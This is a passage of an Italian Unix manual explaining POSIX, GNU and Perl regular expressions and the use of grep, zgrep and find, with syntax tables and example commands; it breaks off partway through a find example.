26.1.3.5 Corrispondenza con un carattere singolo

In un'espressione regolare, qualsiasi carattere che nel contesto non abbia un significato particolare, corrisponde esattamente a se stesso. Il carattere speciale '`.`' (il punto), rappresenta un carattere qualunque, a esclusione di *<NUL>*. Per esempio, l'espressione regolare '`nuo.o`' corrisponde a '`nuoto`', '`nuovo`' e ad altre sottostringhe simili. Per indicare un punto letterale, occorre utilizzare l'espressione '`\.`' (barra obliqua inversa, punto).

È possibile definire anche la corrispondenza con un carattere scelto tra un insieme preciso, utilizzando una notazione speciale, ovvero un'***espressione tra parentesi quadre***:

[***elenco_corrispondente***]

[^***elenco_non_corrispondente***]

Come si vede dallo schema sintattico, si distinguono due situazioni fondamentali: nel primo caso si definisce un elenco di corrispondenze; nel secondo si ottiene questa definizione indicando un elenco di caratteri che non si vogliono trovare. Si osservi che per negare l'elenco di corrispondenze si utilizza l'accento circonflesso, il quale assume così un significato speciale, differente dall'ancora di inizio già descritta.

L'elenco tra parentesi quadre può essere un elenco puro e semplice di caratteri (lungo a piacere), per cui, per esempio, l'espressione regolare '`piccol[aieo]`' corrisponde indifferentemente alle sottostringhe «piccola», «piccoli», «piccole» e «piccolo». In alternativa può essere rappresentato attraverso uno o più intervalli di caratteri, ma questo implica delle complicazioni che vengono descritte in seguito.

Per negare un elenco, lo si fa precedere da un accento circonflesso. Per esempio, l'espressione regolare '`aiut[^ia]`' può corrispondere alla sottostringa «aiuto» e anche a molte altre, ma non può corrispondere né ad «aiuti», né ad «aiuta».

Dal momento che l'accento circonflesso ha un significato speciale se appare all'inizio di tale contesto, questo può essere usato in modo letterale solo in una posizione più avanzata.

Infine, per indicare una parentesi quadra aperta letterale in un contesto normale, al di fuori delle espressioni tra parentesi quadre, basta l'espressione '`\[`'.

26.1.3.6 Corrispondenze multiple

Alcuni caratteri speciali fungono da operatori che permettono di definire e controllare il ripetersi di un modello riferito a un carattere precedente, a una sottoespressione precedente, oppure a un riferimento all'indietro delle espressioni regolari BRE.

In tutti i tipi di espressione regolare, l'asterisco ('`*`') corrisponde a nessuna o più ripetizioni di ciò che gli precede. Per esempio, l'espressione regolare '`aiuto*`' corrisponde alla sottostringa «aiut», oppure «aiuto», come anche ad «aiutoooooooo», ecc. Inoltre, è il caso di osservare che l'espressione regolare '`.*`' corrisponde a qualunque stringa, di qualunque dimensione.

Per indicare un asterisco letterale in un contesto normale, basta farlo precedere da una barra obliqua inversa: '`\*`'.

Nel caso di espressioni regolari ERE si possono utilizzare anche gli operatori '`+`' e '`?`', per indicare rispettivamente una o più occorrenze dell'elemento precedente, oppure zero o al massimo un'occorrenza di tale elemento. Per esempio, l'espressione regolare '`aiuto+`' corrisponde alla sottostringa «aiuto», oppure «aiutoo», «aiutooooo», ecc., mentre l'espressione regolare '`aiuto?`' può corrispondere alla sottostringa «aiut», oppure «aiuto».

Le espressioni regolari BRE e ERE permettono l'utilizzo di un'altra forma più precisa e generalizzata per esprimere la ripetizione di qualcosa. Nel caso di BRE si usano i modelli seguenti:

```
\{n\}
```

```
\{n,\}
```

```
\{n,m\}
```

Nel caso di ERE si usano forme equivalenti senza le barre oblique inverse:

```
{n}
```

```
{n,}
```

```
{n,m}
```

Si tenga presente che ***n*** rappresenta un numero non negativo, mentre ***m***, se utilizzato, deve essere un numero maggiore di ***n***.

Nella prima delle tre forme, si intende indicare la ripetizione di ***n*** volte esatte l'elemento precedente; nella seconda si intendono almeno ***n*** volte; nella terza si intendono tante ripetizioni

da ***n*** a ***m***. In generale, per garantire che un'espressione regolare sia portabile, occorre che il limite massimo rappresentato da ***m*** non superi 255.

26.1.4 Espressioni tra parentesi quadre

Si è accennato all'uso delle espressioni tra parentesi quadre, per indicare la scelta tra un elenco di caratteri, o tra tutti i caratteri esclusi quelli dell'elenco. Un'espressione del genere si traduce sempre nella corrispondenza con un carattere singolo. All'interno di un'espressione del genere, si possono utilizzare forme particolari per indicare un carattere, attraverso un simbolo di collazione, una classe di equivalenza, oppure attraverso una classe di caratteri. È molto importante anche la possibilità di definire degli intervalli, la quale non è ancora stata affrontata nella descrizione precedente di queste espressioni.

26.1.4.1 Corrispondenza con un elemento di collazione

Se si hanno difficoltà a indicare dei caratteri in un'espressione tra parentesi quadre, potrebbe essere opportuno indicarli attraverso l'elemento di collazione corrispondente. Supponendo che nella localizzazione utilizzata esista l'elemento di collazione '**ä**', identificato dal simbolo di collazione '**<a:>**', mancando la possibilità di usare il carattere corrispondente, questo si potrebbe esprimere nella forma '**[.a:.]**'.

In generale, è possibile indicare un carattere singolo all'interno dei delimitatori '**[.**' e '**.]**', come se fosse un elemento di collazione. Per esempio, '**[.a.]**' è perfettamente uguale all'espressione '**a**'. In questo modo, si può usare la tecnica di rappresentazione degli elementi di collazione quando il contesto rende difficile l'indicazione di qualche carattere.

È necessario ribadire che il simbolo di collazione può apparire solo all'interno di un'espressione tra parentesi quadre. Per fare un esempio pratico, Se ci si trova in una localizzazione adatta, volendo scrivere un'espressione regolare che corrisponda alla sottostringa «schälen», non potendo rappresentare il carattere «ä» si dovrebbe scrivere: '**sch[[.a:.]]len**', dove '**[.a:.]**' si sostituisce al carattere «ä», avendo definito che il simbolo di collazione per questo è '**<a:>**'.

26.1.4.2 Corrispondenza con una classe di equivalenza

Nell'ambito della sequenza di collazione della localizzazione che si usa, alcuni elementi possono essere considerati equivalenti ai fini dell'ordinamento. Questi elementi costituiscono una classe di equivalenza. All'interno di un'espressione tra parentesi quadre, per fare riferimento a un elemento qualunque di una certa classe di equivalenza, basta indicare uno di questi tra i delimitatori '**[=**' e '**=]**'. Per esempio, se si suppone che le lettere «e», «è» ed «é», appartengono alla stessa classe di equivalenza, per indicare indifferentemente una di queste, basta la notazione '**[=e=]**'.

Per indicare effettivamente una classe di equivalenza in un'espressione regolare, occorre ricordare che questa va inserita all'interno di un'espressione tra parentesi quadre. In pratica, l'espressione regolare che corrisponde indifferentemente alla stringa «e», «è» o «é», è '**[[=e=]]**'. Si osservi che in alternativa si potrebbe scrivere anche '**[eèé]**'.

26.1.4.3 Corrispondenza con una classe di caratteri

Nell'ambito della localizzazione, sono definiti alcuni gruppi di caratteri, attraverso l'uso di parole chiave standard. Per esempio: '**`alpha`**' definisce l'insieme delle lettere alfabetiche; '**`digit`**' definisce l'insieme delle cifre numeriche; '**`space`**' definisce l'insieme dei caratteri che visivamente si traducono in uno spazio di qualche tipo. Oltre a queste, sono definiti dei raggruppamenti, come nel caso di '**`alnum`**' che indica l'insieme di '**`alpha`**' e '**`digit`**'.

All'interno di un'espressione tra parentesi quadre, per indicare una classe di caratteri, si usa il nome riconosciuto dalla localizzazione, racchiuso tra i delimitatori '**`[:`**' e '**`:]`**'. Per esempio, per ottenere la corrispondenza con una sottostringa del tipo '**`file`*n***', dove ***n*** può essere una cifra numerica qualunque, si può utilizzare l'espressione regolare '**`file[[:digit:]]`**'.

La tabella 26.2 riepiloga i nomi delle classi di caratteri riconosciuti normalmente dalle localizzazioni (si veda anche la pagina di manuale *locale(5)*).

Tabella 26.2. Elenco dei nomi standard attribuiti alle classi di caratteri.

Classe di caratteri	Descrizione
`upper`	Collezione alfabetica delle lettere maiuscole.
`lower`	Collezione alfabetica delle lettere minuscole.
`alpha`	Lettere alfabetiche: di solito l'unione di '**`upper`**' e '**`lower`**'.
`digit`	Cifre numeriche.
`alnum`	Cifre alfanumeriche: di solito l'unione di '**`alpha`**' e '**`digit`**'.
`punct`	I caratteri di punteggiatura.
`space`	I caratteri definiti come «spazi bianchi» per qualche motivo.
`blank`	Di solito comprende solo '**`<space>`**' e '**`<tab>`**'.
`cntrl`	I caratteri di controllo che non possono essere rappresentati.
`graph`	Caratteri grafici: di solito l'unione di '**`alnum`**' e '**`punct`**'.
`print`	Caratteri stampabili: di solito l'insieme di '**`alnum`**', '**`punct`**' e di '**`<space>`**'.
`xdigit`	Cifre numeriche e alfabetiche per rappresentare numeri esadecimali.

26.1.4.4 Intervalli di caratteri

All'interno di un'espressione tra parentesi quadre, possono apparire degli intervalli di caratteri, includendo eventualmente anche gli elementi di collazione. Al contrario, non si possono usare le classi di equivalenza e nemmeno le classi di caratteri per indicare degli intervalli, perché non si traducono in un carattere preciso nell'ambito della codifica. La forma per esprimere un intervallo è la seguente:

inizio-*fine*

Questo lascia intendere che il trattino ('-') abbia un significato particolare all'interno di un'espressione tra parentesi quadre. Per fare un esempio molto semplice, l'espressione regolare '`[a-d]`' rappresenta un carattere compreso tra «a» e «d», in base alla localizzazione.

Gli intervalli si possono mescolare con gli elenchi e anche con altri intervalli. Per esempio, l'espressione regolare '`[a-dhi]`' individua un carattere compreso tra «a» e «d», oppure anche «h» o «i».

Possono essere aggregati più elenchi assieme, ma tutti questi devono avere un inizio e una fine indipendente. Per esempio, l'espressione regolare '`[a-cg-z]`' rappresenta due intervalli, rispettivamente tra «a» e «c», e tra «g» e «z». Al contrario, l'espressione regolare '`[a-c-z]`' indica l'intervallo da «a» a «c», oppure il trattino (perché è fuori dal contesto previsto per indicare un intervallo), oppure «z».

Quando si indicano degli intervalli occorre prestare attenzione alla configurazione locale per sapere esattamente cosa viene coinvolto. In generale, per questo motivo, le espressioni regolari che contengono espressioni tra parentesi quadre con l'indicazioni di intervalli, non sono portabili da un sistema all'altro.

26.1.4.5 Protezione all'interno di espressioni tra parentesi quadre

Dal momento che in un'espressione tra parentesi quadre i caratteri '`^`', '`-`' e '`]`', hanno un significato speciale, per poterli utilizzare, occorrono degli accorgimenti: se si vuole usare l'accento circonflesso in modo letterale, è necessario che questo non sia il primo; per indicare il trattino si può descrivere un intervallo, in cui sia posto come carattere iniziale o finale. In alternativa, i caratteri che non si riescono a indicare (come le parentesi quadre), possono essere racchiuse attraverso i delimitatori dei simboli di collazione: '`[.[.]`' e '`[.].]`' per le parentesi e '`[.-.]`' per un trattino.

All'interno di un'espressione tra parentesi quadre, i caratteri che sono speciali al di fuori di questo contesto, qui perdono il loro significato particolare (come nel caso del punto e dell'asterisco ('`*`'), oppure ne acquistano uno nuovo (come nel caso dell'accento circonflesso).

26.1.5 Precedenze

Dopo la difficoltà che si affronta per comprendere il funzionamento delle espressioni regolari, l'ordine in cui le varie parti di queste vengono risolte, dovrebbe essere abbastanza intuitivo. La tabella 26.3 riassume questa sequenza, distinguendo tra espressioni BRE e ERE.

Tabella 26.3. Ordine di precedenza, dal più alto al più basso.

Tipo di componente l' espressione	Operatore BRE	Operatore ERE

Contenuto delle espressioni tra parentesi quadre.	`[= =]`
	`[: :]`
	`[. .]`
		`[= =]`
		`[: :]`
		`[. .]`

Caratteri speciali resi letterali.	`\`***carattere_speciale***	`\`***carattere_speciale***
Espressioni tra parentesi quadre.	`[ ]`	`[ ]`
Sottoespressioni e riferimenti all'indietro (BRE).	`\( \)` `\`***n***	
Raggruppamenti (ERE).		`( )`

Ripetizioni.	`*`
	`\{`***m*** `,` ***n***`\}`
		`*`
		`+`
		`?`
		`{`***m*** `,` ***n***`}`

Concatenamento di espressioni (non si usano simboli).		
Ancore iniziali e finali.	`^` `$`	`^` `$`
Alternanza (solo ERE).		`|`

26.2 Confronto sintetico tra le espressioni regolari «reali»

Date le diversità notevoli tra tutti i tipi di espressione regolare che si utilizzano in pratica con i programmi che ne fanno uso, vale la pena di riepilogare le differenze fondamentali tra lo standard POSIX e le realtà più importanti. In questo capitolo si raccolgono solo alcune tabelle di comparazione, che mostrano l'abbinamento tra diversi modelli di espressione compatibili. Le descrizioni sono scarne, tuttavia quello che si vede dovrebbe servire per collegare le cose, permettendo di comprendere quali sono le estensioni di ogni realizzazione.

Tabella 26.4. Confronto tra gli operatori fondamentali.

	BRE POSIX	ERE POSIX	BRE GNU	ERE GNU	Perl
escape	`\`	`\`	`\`	`\`	`\`
ancora iniziale	`^`	`^`	`^`	`^`	`^`
ancora finale	`$`	`$`	`$`	`$`	`$`

<table>
<tr><th></th><th>BRE POSIX</th><th>ERE POSIX</th><th>BRE GNU</th><th>ERE GNU</th><th>Perl</th></tr>
<tr><td>alternativa</td><td></td><td>|</td><td>\|</td><td>|</td><td>|</td></tr>
<tr><td>raggruppamento</td><td>\(\)</td><td>( )</td><td>\(\)</td><td>( )</td><td>( )</td></tr>
<tr><td>elenco</td><td>[ ]</td><td>[ ]</td><td>[ ]</td><td>[ ]</td><td>[ ]</td></tr>
<tr><td>riferimento</td><td>\n</td><td></td><td>\n</td><td>\n</td><td>\n</td></tr>
</table>

Tabella 26.5. Confronto tra gli operatori interni alle espressioni tra parentesi quadre.

	BRE POSIX	ERE POSIX	BRE GNU	ERE GNU	Perl
sequenze	***xy...***	***xy...***	***xy...***	***xy...***	***xy...***
intervalli	***x-y***	***x-y***	***x-y***	***x-y***	***x-y***
elementi di collazione	[. .]	[. .]			
caratteri equivalenti	[= =]	[= =]			
classi di caratteri	[: :]	[: :]	[: :]	[: :]	[: :]

Tabella 26.6. Simboli speciali.

	BRE POSIX	ERE POSIX	BRE GNU	ERE GNU	Perl
	[[:alnum:]_] [[:word:]]	[[:alnum:]_] [[:word:]]	\w	\w	\w [[:alnum:]_] [[:word:]]
	[^[:alnum:]_] [^[:word:]]	[^[:alnum:]_] [^[:word:]]	\W	\W	\W [^[:alnum:]_] [^[:word:]]
inizio di parola			\<	\<	
fine di parola			\>	\>	
inizio o fine parola			\b	\b	\b
interno di una parola			\B	\B	\B
	[[:space:]]	[[:space:]]	[[:space:]]	[[:space:]]	\s [[:space:]]
	[^[:space:]]	[^[:space:]]	[^[:space:]]	[^[:space:]]	\S [^[:space:]]

	BRE POSIX	ERE POSIX	BRE GNU	ERE GNU	Perl
	`[[:digit:]]`	`[[:digit:]]`	`[[:digit:]]`	`[[:digit:]]`	`\d` `[[:digit:]]`
	`[^[:digit:]]`	`[^[:digit:]]`	`[^[:digit:]]`	`[^[:digit:]]`	`\D` `[^[:digit:]]`

Tabella 26.7. Operatori di ripetizione.

	BRE POSIX	ERE POSIX	BRE GNU	ERE GNU	Perl
	x*	x*	x*	x*	x*
il minimo di x*					x*?
		x?	x\?	x?	x?
il minimo di x?					x??
		x+	x\+	x+	x+
il minimo di x+					x+?
	x\{n\}	x{n}	x\{n\}	x{n}	x{n}
	x\{n,\}	x{n,}	x\{n,\}	x{n,}	x{n,}
il minimo di x{n,}					x{n,}?
	x\{n,m\}	x{n,m}	x\{n,m\}	x{n,m}	x{n,m}
il minimo di x{n,m}					x{n,m}?

In generale, si può osservare che i programmi GNU e Perl non permettono l'indicazione di simboli di collazione e nemmeno di classi di equivalenza.

A differenza di ciò che si vede di solito, Perl introduce un concetto nuovo: la corrispondenza minima di un'espressione regolare. Questo può essere molto importante in Perl, quando si delimitano delle sottoespressioni per estrapolare delle parti differenti di una stringa.

26.3 Grep

Il programma Grep[1] esegue una ricerca all'interno dei file in base a un modello espresso normalmente in forma di espressione regolare. Storicamente sono esistite tre versioni di questo programma: '**`grep`**', '**`egrep`**' e '**`fgrep`**', ognuna specializzata in un tipo di ricerca. Attualmente, Grep comprende tutte queste funzionalità in un solo programma; tuttavia, in alcuni casi, per mantenere la compatibilità con il passato, possono trovarsi sistemi che mettono a disposizione anche i programmi '**`egrep`**' e '**`fgrep`**' in forma originale.

L'eseguibile '**grep**' compie una ricerca all'interno dei file indicati come argomento oppure all'interno dello standard input:

```
grep [opzioni] modello [file...]
```

```
grep [opzioni] -e modello [file...]
```

```
grep [opzioni] -f file_modello [file...]
```

Il modello di ricerca può essere semplicemente il primo degli argomenti che seguono le opzioni, oppure può essere indicato precisamente come argomento dell'opzione '**-e**', oppure ancora può essere contenuto in un file che viene indicato attraverso l'opzione '**-f**'. La tabella 26.8 elenca le opzioni principali.

Tabella 26.8. Opzioni principali di '**grep**'.

Opzione	Descrizione
`-G`	Utilizza un'espressione regolare elementare (comportamento predefinito).
`-E`	Utilizza un'espressione regolare estesa. Se si avvia il programma con il nome '**egrep**', è come utilizzare l'eseguibile '**grep**' con l'opzione '**-E**'.
`-F`	Utilizza un modello fatto di stringhe fisse. Se si avvia il programma con il nome '**fgrep**', è come utilizzare l'eseguibile '**grep**' con l'opzione '**-F**'.
`-e` *modello*	Specifica il modello di ricerca.
`-f` *file*	Specifica il nome di un file contenente il modello di ricerca.
`-i`	Ignora la differenza tra maiuscole e minuscole.
`-n`	Aggiunge il numero di riga.
`-c`	Emette solo il totale delle righe corrispondenti per ogni file.
`-h`	Elimina l'intestazione normale per le ricerche su più file.
`-l`	Emette solo i nomi dei file per i quali la ricerca ha avuto successo.
`-L`	Emette solo i nomi dei file per i quali la ricerca non ha avuto successo.
`-v`	Inverte il senso della ricerca: valgono le righe che non corrispondono.

Segue la descrizione di alcuni esempi.

- `$` **`grep -F -e ciao -i -n *`** [*Invio*]

  Cerca all'interno di tutti i file contenuti nella directory corrente la corrispondenza della

parola «ciao» senza considerare la differenza tra le lettere maiuscole e quelle minuscole. Visualizza il numero e il contenuto delle righe che contengono la parola cercata.

- `$ grep -E -e "scal[oa]" elenco`[*Invio*]

  Cerca all'interno del file '`elenco`' le righe contenenti la parola «scalo» o «scala».

- `$ grep -E -e \'.*\' elenco`[*Invio*]

  Questo è un caso di ricerca particolare in cui si vogliono cercare le righe in cui appare qualcosa racchiuso tra apici singoli, nel modo '`'...'`'. Si immagina però di utilizzare la shell standard con la quale è necessario proteggere gli apici da un altro tipo di interpretazione. In questo caso la shell fornisce a '**`grep`**' solo la stringa '`'.*'`'.

- `$ grep -E -e "\'.*\'" elenco`[*Invio*]

  Questo esempio deriva dal precedente. Anche in questo caso si suppone di utilizzare la shell standard, ma questa volta viene fornita a '**`grep`**' la stringa '`\'.*\'`' che fortunatamente viene interpretata ugualmente da '**`grep`**' nel modo corretto.

26.3.1 Grep e Gzip integrati

Normalmente, i programmi eseguibili (o i collegamenti) che compongono Grep, sono accompagnati da una serie di script che facilitano le ricerche all'interno di file compressi con Gzip o con Compress:

```
zgrep [opzioni] modello [file...]
```

```
zegrep [opzioni] modello [file...]
```

```
zfgrep [opzioni] modello [file...]
```

L'utilizzo è equivalente ai programmi '**`grep`**', '**`egrep`**' e '**`fgrep`**', con la differenza che si intendono scandire file compressi. Di solito, tali script funzionano correttamente anche se in realtà i file da analizzare non sono compressi affatto.

26.4 Find

Il programma Find[2] esegue una ricerca, all'interno di uno o più percorsi, per i file che soddisfano delle condizioni determinate, legate alla loro apparenza esterna e non al loro contenuto. Per ogni file o directory trovati, può essere eseguito un comando (programma, script o altro) che a sua volta può svolgere delle operazioni su di essi.

Qui non vengono descritte tutte le funzionalità di Find: una volta appresi i rudimenti del suo funzionamento, conviene consultare il documento *info find* oppure la pagina di manuale *find(1)*.

Find si compone in pratica dell'eseguibile '**`find`**', il quale ha una sintassi piuttosto insolita, oltre che complessa, anche se dallo schema seguente non sembrerebbe così. È anche indispensabile tenere a mente che molti dei simboli utilizzati negli argomenti dell'eseguibile '**`find`**' potrebbero essere interpretati e trasformati dalla shell, di conseguenza può essere necessario utilizzare le tecniche che la shell stessa offre per evitarlo.

```
find [percorso...] [espressione]
```

Find esegue una ricerca all'interno dei percorsi indicati per i file che soddisfano l'espressione di ricerca. Il primo argomento che inizia con '**`-`**', '**`(`**', '**`)`**', '**`,`**' o '**`!`**' (trattino, parentesi tonda, virgola, punto esclamativo) viene considerato come l'inizio dell'espressione, mentre gli argomenti precedenti sono interpretati come parte dell'insieme dei percorsi di ricerca.

Se non vengono specificati percorsi di ricerca, si intende la directory corrente; se non viene specificata alcuna espressione, o semplicemente se non viene specificato nulla in contrario, viene emesso l'elenco dei nomi trovati.

Il concetto di espressione nella documentazione di Find è piuttosto ampio e bisogna fare un po' di attenzione. Si può scomporre idealmente nello schema seguente:

```
[opzione...] [condizioni]
```

A loro volta, le condizioni possono essere di due tipi: test e azioni. Ma, mentre le opzioni devono apparire prima, test e azioni possono essere mescolati tra loro.

Le opzioni rappresentano un modo di configurare il funzionamento del programma, così come di solito accade nei programmi di servizio. Le condizioni sono espressioni che generano un risultato logico e come tali vanno trattate: per concatenare insieme più condizioni occorre utilizzare gli operatori booleani.

Tabella 26.9. Alcune opzioni importanti. Le opzioni si collocano prima delle condizioni (test e azioni).

Opzione	Descrizione
`-depth`	Elabora prima il contenuto delle directory. In pratica si ottiene una scansione che parte dal livello più profondo fino al più esterno.
`-xdev` `-mount`	Non esegue la ricerca nelle directory contenute all'interno di file system differenti da quello di partenza. Tra i due è preferibile usare '**`-xdev`**'.
`-noleaf`	Non ottimizza la ricerca. Questa opzione è necessaria quando si effettuano ricerche all'interno di file system che non seguono le convenzioni Unix, come nel caso di CD-ROM senza le estensioni necessario, o partizioni Dos.

L'esempio seguente elenca tutti i file e le directory a partire dalla posizione corrente restando nell'ambito del file system di partenza:

```
$ find . -xdev -print [Invio]
```

Come già accennato, i test sono condizioni che vengono valutate per ogni file e directory

incontrati. Il risultato delle condizioni può essere *Vero* o *Falso*. Quando vengono indicate più condizioni, queste devono essere unite in qualche modo attraverso degli operatori booleani per ottenere una sola grande condizione. Se non viene specificato diversamente, viene utilizzato automaticamente l'operatore AND: '**-a**'.

All'interno dei test, gli argomenti numerici possono essere preceduti o meno da un segno:

+***n***	Indica un numero maggiore di ***n***.
-***n***	Indica un numero minore di ***n***.
n	Indica un numero esattamente uguale a ***n***.

Nelle tabelle successive, vengono raggruppati per tipo alcuni testi disponibili.

Tabella 26.11. Test sulla proprietà dei file o delle directory.

Test	Descrizione
`-uid` ***n***	Si avvera quando il numero UID (utente) del file o della directory è uguale a ***n***.
`-user` ***nome_dell'utente***	Si avvera quando il file o la directory appartiene all'utente indicato.
`-nouser`	Si avvera per i file e le directory di proprietà di utenti non esistenti.
`-gid` ***n***	Si avvera quando il numero GID (gruppo) del file o della directory è uguale a ***n***.
`-group` ***nome_del_gruppo***	Si avvera quando il file o la directory appartiene al gruppo indicato.
`-nogroup`	Si avvera per i file e le directory di proprietà di gruppi non esistenti.

Tabella 26.12. Test sui permessi dei file o delle directory.

Test	Descrizione
`-perm` ***permessi***	Si avvera quando i permessi del file o della directory corrispondono esattamente a quelli indicati con questo test. I permessi si possono indicare in modo numerico (ottale) o simbolico.
`-perm` -***permessi***	Si avvera quando i permessi del file o della directory comprendono almeno quelli indicati con questo test.
`-perm` +***permessi***	Si avvera quando alcuni dei permessi indicati nel modello di questo test corrispondono a quelli del file o della directory.

Tabella 26.13. Test sulle caratteristiche dei nomi dei file o delle directory.

Test	Descrizione
`-name` ***modello***	Si avvera quando viene incontrato un nome di file o directory corrispondente al modello indicato, all'interno del quale si possono utilizzare i caratteri jolly. La comparazione avviene utilizzando solo il nome del file (o della directory) escludendo il percorso precedente. I caratteri jolly ('**`*`**', '**`?`**', '**`[`**', '**`]`**') non possono corrispondere al punto iniziale ('**`.`**') che appare nei cosiddetti file nascosti.
`-iname` ***modello***	Si comporta come '**`-name`**', ma non tiene conto della differenza tra maiuscole e minuscole ('**`iname`**' = *insensitive* '**`name`**').
`-lname` ***modello***	Si avvera quando si tratta di un collegamento simbolico e il suo contenuto corrisponde al modello che può essere espresso utilizzando anche i caratteri jolly. Un collegamento simbolico può contenere anche l'indicazione del percorso necessario a raggiungere un file o una directory reale. Il modello espresso attraverso i caratteri jolly non tiene conto in modo particolare dei simboli punto ('**`.`**') e barra obliqua ('**`/`**') che possono essere contenuti all'interno del collegamento.
`-ilname` ***modello***	Si comporta come '**`-lname`**', ma non tiene conto della differenza tra maiuscole e minuscole ('**`ilname`**' = *insensitive* '**`lname`**').
`-path` ***modello***	Si avvera quando il modello, esprimibile utilizzando caratteri jolly, corrisponde a un percorso. Per esempio, un modello del tipo '**`./i*no`**' può corrispondere al file '`./idrogeno/ossigeno`'.
`-ipath` ***modello***	Si comporta come '**`-path`**', ma non tiene conto della differenza tra maiuscole e minuscole ('**`ipath`**' = *insensitive* '**`path`**').
`-regexp` ***modello***	Si avvera quando l'espressione regolare indicata corrisponde al file o alla directory incontrati. Per la verifica della corrispondenza, attraverso l'espressione regolare, viene utilizzato anche il percorso e non solo il nome del file o della directory. Quindi, per ottenere la corrispondenza con il file '`./carbonio`' si può utilizzare l'espressione regolare '**`.*bonio`**' oppure '**`.*bo..o`**', ma non '**`c.*io`**'.
`-iregexp` ***modello***	Si comporta come '**`-regexp`**', ma non tiene conto della differenza tra maiuscole e minuscole ('**`iregexp`**' = *insensitive* '**`regexp`**').

Tabella 26.14. Test sulla data di modifica dei file o delle directory.

Test	Descrizione
`-mmin` ***n***	Si avvera quando la data di modifica del file o della directory corrisponde a ***n*** minuti fa.
`-mtime` ***n***	Si avvera quando la data di modifica del file o della directory corrisponde a ***n*** giorni fa. Più precisamente, il valore ***n*** fa riferimento a multipli di 24 ore.
`-newer` ***file***	Si avvera quando la data di modifica del file o della directory è più recente di quella del file indicato.

Tabella 26.15. Test sulla data di accesso ai file o alle directory.

Test	Descrizione
`-amin` ***n***	Si avvera quando la data di accesso del file o della directory corrisponde a ***n*** minuti fa.
`-atime` ***n***	Si avvera quando la data di accesso del file o della directory corrisponde a ***n*** giorni fa. Più precisamente, il valore ***n*** fa riferimento a multipli di 24 ore.
`-anewer` ***file***	Si avvera quando la data di accesso del file o della directory è più recente di quella del file indicato.

Tabella 26.16. Test sulla data di creazione o del cambiamento di stato dei file o delle directory.

Test	Descrizione
`-cmin` ***n***	Si avvera quando la data di creazione del file o della directory corrisponde a ***n*** minuti fa.
`-ctime` ***n***	Si avvera quando la data di creazione del file o della directory corrisponde a ***n*** giorni fa. Più precisamente, il valore ***n*** fa riferimento a multipli di 24 ore.
`-cnewer` ***file***	Si avvera quando la data di creazione del file o della directory è più recente di quella del file indicato.

Tabella 26.17. Test sulla dimensione dei file o delle directory.

Test	Descrizione
`-empty`	Si avvera quando il file o la directory sono vuoti.
`-size` ***n***[`b`|`c`|`k`|`w`]	Si avvera quando la dimensione del file o della directory ha una dimensione pari a ***n***. L'unità di misura è rappresentata dalla lettera che segue il numero: '**b**' blocchi da 512 byte e rappresenta il valore predefinito in mancanza dell'indicazione di questa lettera; '**c**' byte (caratteri); '**k**' blocchi da 1024 byte (1 Kibyte); '**w**' parole di 2 byte.

Tabella 26.18. Test vari.

Test	Descrizione
`-true`	Sempre vero.
`-false`	Sempre falso.
`-fstype` ***tipo_di_file_system***	Si avvera quando il file o la directory si trova in un file system del tipo indicato (vedere tabella 21.62).
`-inum` ***n***	Si avvera quando il file o la directory ha il numero di inode corrispondente a ***n***.

Test	Descrizione
`-type` ***categoria***	Si avvera se l'elemento analizzato appartiene alla categoria indicata: '**b**' dispositivo a blocchi; '**c**' dispositivo a caratteri; '**d**' directory; '**p**' file FIFO (*pipe* con nome); '**f**' file normale (*regular file*); '**l**' collegamento simbolico; '**s**' *socket*.

Le condizioni possono essere costruite anche utilizzando alcuni operatori booleani e le parentesi. Quando questi componenti vengono utilizzati, la valutazione delle condizione viene fatta eseguendo il minimo numero indispensabile di operazioni. Ciò significa che di fronte a un operatore AND si verifica la prima condizione e solo se questa risulta vera si passa a verificare la seconda; di fronte a un operatore OR si verifica la prima condizione e solo se questa risulta falsa si passa a verificare la seconda. Infatti, per sapere che il risultato di un'operazione AND è *Falso* basta sapere che almeno una delle due condizioni in ingresso ha un valore *Falso*; per sapere che il risultato di un'operazione OR è *Vero* basta sapere che almeno una delle due condizioni in ingresso ha il valore *Vero*.

Tabella 26.19. Operatori booleani.

Operatore	Descrizione
`( )`	Le parentesi tonde stabiliscono la precedenza nell'esecuzione dei test.
`!` `-not`	Davanti a un'espressione si comporta come negazione logica, ovvero è equivalente a NOT.
`-a` `-and`	Tra due espressioni si comporta come l'operatore logico AND. In mancanza dell'indicazione di un operatore logico tra due condizioni si intende AND.
`-o` `-or`	Tra due espressioni si comporta come l'operatore logico OR.

Le azioni sono delle operazioni da compiere per ogni file o directory che si ottiene dalla scansione. Queste azioni generano però un risultato che viene interpretato in maniera logica. Dipende da come vengono concatenate le varie condizioni (test e azioni) se, e in corrispondenza di quanti file, vengono eseguite queste azioni.

Tabella 26.20. Alcune azioni.

Azione	Descrizione
-exec *comando* ;	Esegue il comando indicato, nella directory di partenza, restituendo il valore *Vero* se il comando restituisce il valore zero. Tutti gli argomenti che seguono vengono considerati come parte del comando fino a quando viene incontrato il simbolo punto e virgola ('**;**'). All'interno del comando, la stringa '**{}**' viene interpretata come sinonimo del file che è attualmente in corso di elaborazione. Se la shell interpreta questo simbolo occorre utilizzare il meccanismo della protezione per evitarlo.
-ok *comando* ;	Si comporta come '**-exec**' ma, prima di eseguire il comando, chiede conferma all'utente. Se il comando non viene eseguito, restituisce il valore *Falso*.
-print	Si avvera sempre ed emette il nome completo dei file (e delle directory) che avverano l'insieme delle condizioni. È l'azione predefinita, se non ne vengono indicate delle altre. Il programma Find di GNU considera questa l'azione predefinita, per cui non è necessario indicarla per ottenere un output sullo schermo. Generalmente, Find non ha un'azione predefinita e questo può mettere in crisi un utente di un sistema GNU quando passa a un altro sistema Unix. Questo è il motivo per il quale viene sempre indicata l'azione negli esempi seguenti, anche se non sarebbe necessario.

Segue la descrizione di alcuni esempi.

- $ **find / -name "lib*" -print** [*Invio*]

  Esegue una ricerca su tutto il file system globale, a partire dalla directory radice, per i file e le directory il cui nome inizia per '**lib**'. Dal momento che si vuole evitare che la shell trasformi '**lib***' in qualcosa di diverso, si utilizzano le virgolette.

- # **find / -xdev -nouser -print** [*Invio*]

  Esegue una ricerca nel file system principale a partire dalla directory radice, escludendo gli altri file system, per i file e le directory appartenenti a utenti non registrati (che non risultano da '/etc/passwd').

- $ **find /usr -xdev -atime +90 -print** [*Invio*]

  Esegue una ricerca a partire dalla directory '/usr/', escludendo altri file system diversi da quello di partenza, per i file la cui data di accesso è più vecchia di 2160 ore (24 * 90 = 2160).

- $ **find / -xdev -type f -name core -print** [*Invio*]

